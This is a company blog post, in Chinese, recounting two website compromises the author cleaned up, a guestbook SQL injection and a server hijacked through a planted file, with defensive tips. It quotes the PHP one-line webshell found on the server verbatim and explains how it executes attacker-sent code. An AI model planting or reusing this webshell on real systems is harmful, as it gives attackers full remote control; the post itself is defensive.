网站建设开发
安全+ 网站开发
网站建设
微信平台开发
H5制作
手机版网站
小程序开发
大数据
大数据可视化
电商大数据
金融大数据
文保大数据
工业大数据
旅游大数据
金融行业
金融行业 互联网+
智慧党建+红色金融
信托行业
私募公司
基金公司
保险公司
政务
智慧党建
公共文化云
综合治理
智慧社区
智慧环保
智慧园区
行业解决方案
班车管理系统
影像资产管理
数据中台
精准用户画像
展业平台工具
舆情监测分析
首页 > Web堆儿 > 正文

黑客与漏洞的那些事(一)

时间:2017-05-16 21:23:13  转载请注明出处:盛世阳光网站建设 本文地址:http://www.gonet.com.cn/webduirshow-103.html

黑客与漏洞的那些事

黑客是一个神奇的职业。
曾经我还年少时看《虎胆龙威4》,特别喜欢法莱尔,一个高智商的尖端黑客,通过写几个加密程序就可以拯救世界

从小喜欢计算机,最后真的成为了一名程序员后,才知道电影真的只是电影,很帅这件事,是不存在的。
学了程序后,变得胆子越来越小,生怕某个环节出问题,更怕一不小心就把自己的个人信息泄露出去。
我在工作中第一次遇到黑客攻击,是一个10年前的老网站,打开后发现里面已经注入的千疮百孔,光mysql注入的内容就已经占满了10G的数据库存储空间。

mysql注入

经过查看mysql的表内情况,发现其中一个表特别大,占了9.7G,又通过这个表,发现了原来整个注入源自于留言板。
程序小tips:表单提交,如果没有次数限制和会员权限控制,一定要设置验证码,而且当次验证码验证后立刻清除验证消息,可以防止会话重放攻击(利用循环脚本无限提交表单的攻击方式)

更改了表名,清理了垃圾数据后,重新扫描了全站后,在原来的基础上增加了验证码,这个故事就结束了。

第二次碰到黑客,是服务器被当做肉鸡,向外发包超过几万条,通过扫描后发现了一个病毒文件。
木马查杀

里面只有一句 <?php eval($_POST[‘request’])?>
这就是比较流行的一句话木马,简单解释一下,当你的服务器中出现了这个文件,黑客可以通过post方法向你的服务器中发送请求,而eval会将这条数据在服务器中作为一条程序执行下去(他可以随意操作你的文件,包括在你服务器中添加减少文件,增加脚本并且运行,最终达到getshell的目的)

程序小tips:1、服务器中的站点文件一定要单独用一个账户管控,如果出现问题,可以用Administrator的超级用户修复,但如果被拿到超级管理员权限那故事就不好玩了。
2、后台程序一定要进行ip限制,不要随便让什么人都能跳转到你的后台地址(可以通过白名单和黑名单等方式,具体防控方法下期再讲)

删除后,发现服务器里有很多奇怪名字的服务(控制面板-服务),而他们的运行源目录,都在C:/windows/temp这个文件夹里,这个文件夹里的文件是windows产生临时文件时的缓存,所以在temp文件中又做了一个定期清理程序。

我是盛世阳光孙小胖,下一期再来详细给大家讲一讲如何防御黑客攻击的一些基础手段。


  盛世阳光秉承着专业、贴心的服务理念,用心、用智、用情对待每一位新老客户。无论是在网站、app还是游戏领域,你都能看到我们的身影,旨为为企业互联网+新模式带来更多灵感与机遇。开创行业发展趋势,引领行业创新潮流,为企业改造升级出谋划策,我们的努力会让你明白“适合的,才是最好的”。互联网的盛世,岂能没有阳光同行?




   盛世阳光手机版网站    盛世阳光微信公众平台

北京:北京亦庄地盛北路5号2幢209室  010-51296822/010-67809240

上海:上海市洛川中路1158号B2幢609  021-64201096

京ICP备05015483号

版权所有 2001-2016 北京市盛世阳光文化传播有限责任公司